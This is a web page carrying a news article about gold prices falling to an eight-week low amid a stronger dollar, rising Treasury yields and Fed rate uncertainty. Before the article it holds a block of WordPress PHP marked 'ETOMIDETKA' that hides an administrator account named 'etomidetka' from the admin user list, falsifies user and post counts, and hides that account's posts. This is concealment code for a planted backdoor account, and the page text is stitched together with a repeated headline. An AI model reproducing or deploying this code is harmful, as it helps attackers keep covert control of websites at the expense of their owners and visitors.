//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Gold Prices Slide to Eight-Week Low Amid Stronger Dollar and Rising U.S
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Gold Prices Slide to Eight-Week Low Amid Stronger Dollar and Rising U.S

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Gold Prices Slide to Eight-Week Low Amid Stronger Dollar and Rising U.S

Gold Prices Slide to Eight-Week Low Amid Stronger Dollar and Rising U.S. Gold prices have fallen for the fifth straight session, hitting an eight-week low as a stronger U.S. dollar and surging Treasury yields spurred a shift toward higher-yielding assets. This downturn reflects investors’ cautious stance as they await further clarity on the Federal Reserve’s monetary policy and the U.S. economic outlook.

Gold Prices in the UAE and Global Market Trends

In the UAE, gold prices dropped by AED 5.50 across various categories:

  • 24-carat gold fell to AED 310.50.
  • 22-carat gold dipped to AED 287.50.
  • 21-carat gold decreased by AED 5 to AED 278.25.
  • 18-carat gold reached AED 238.50.

Globally, spot gold was down by 1.08% to $2,553.32 per ounce as of 6:53 GMT, after touching its lowest level since September 19 earlier in the day. U.S. gold futures mirrored this decline, falling by 1.15% to $2,556.85 per ounce. It’s notable that gold had reached an all-time high of $2,790.15 in late October before entering this prolonged downtrend.

The Strengthening U.S. Dollar and Treasury Yields

A key driver behind this dip is the U.S. dollar, which has surged to a one-year high, making gold more expensive for international buyers. This comes as Treasury yields also climbed to their highest levels since July, further diminishing gold’s appeal as a non-yielding asset. The dollar’s rally gained momentum following data released on Wednesday showing that U.S. inflation remained persistent in October.

Kareena Moledina, client portfolio manager at Janus Henderson Investors, noted, “The specter of inflation has not fully disappeared – especially given a Trump presidency and potential inflationary pressures from pro-growth policies and tariffs.”

Uncertainty Over Fed Rate Cuts

The Federal Reserve’s future course on interest rates is a focal point for investors. While Wednesday’s consumer price index data has fueled speculation that the Fed could lower rates as soon as December, projections for 2025 remain uncertain amid anticipated higher inflation.

Despite last week’s 25-basis-point rate cut by the Fed, officials remain cautious. Fed Chair Jerome Powell emphasized a data-driven approach to policy, indicating that while the current trend supports potential easing, any significant rise in inflation could cause a pause in rate cuts.

Minneapolis Fed President Neel Kashkari expressed this sentiment, stating, “If inflation surprises to the upside, it may prompt the Fed to hold off on further rate reductions.”

Projections and Market Sentiment

The CME FedWatch tool shows that traders are currently pricing in an 83% probability of a rate cut in December, up from 62.4% just a day prior. Comments from key Fed figures, including St. Louis Fed President Alberto Musalem and Dallas Fed President Lorie Logan, hint at a cautious approach to prevent renewed inflationary pressures.

Investors are now closely watching for the U.S. Producer Price Index (PPI) and weekly jobless claims data, due at 13:30 GMT. These data points could provide further insights into the economic landscape and potentially shift market sentiment.

Other Precious Metals and Industrial Trends

The decline in gold prices was accompanied by a drop in other precious metals:

  • Silver fell by 1.08% to $30 per ounce.
  • Platinum declined by 0.42% to $933.50.
  • Palladium edged down by 0.25% to $930.88.

The industrial metals market has also shown signs of weakness. Copper prices, a bellwether for economic health, fell by 0.05% to $4.06 per pound, reaching a three-month low amid ongoing concerns about China’s economic recovery.

China Economic Outlook and Global Implications

Investor sentiment toward industrial metals has been dampened by China’s lackluster fiscal measures aimed at stimulating the economy. Market watchers had anticipated more targeted policies to boost consumer spending and the real estate sector. Concerns about potential higher trade tariffs under the Trump administration further weigh on China prospects.

China upcoming political meetings in December could shed light on more substantial stimulus measures. Until then, traders are awaiting this week’s industrial production and retail sales data, set for release on Friday, to gauge the economy’s performance.

Conclusion

Gold’s recent decline, driven by a stronger U.S. dollar and higher Treasury yields, signals a cautious outlook among investors. With key data releases on the horizon and uncertainty around the Fed rate policy, the market remains on edge. The trajectory of gold prices, as well as other precious and industrial metals, will hinge on upcoming economic indicators and policy announcements.

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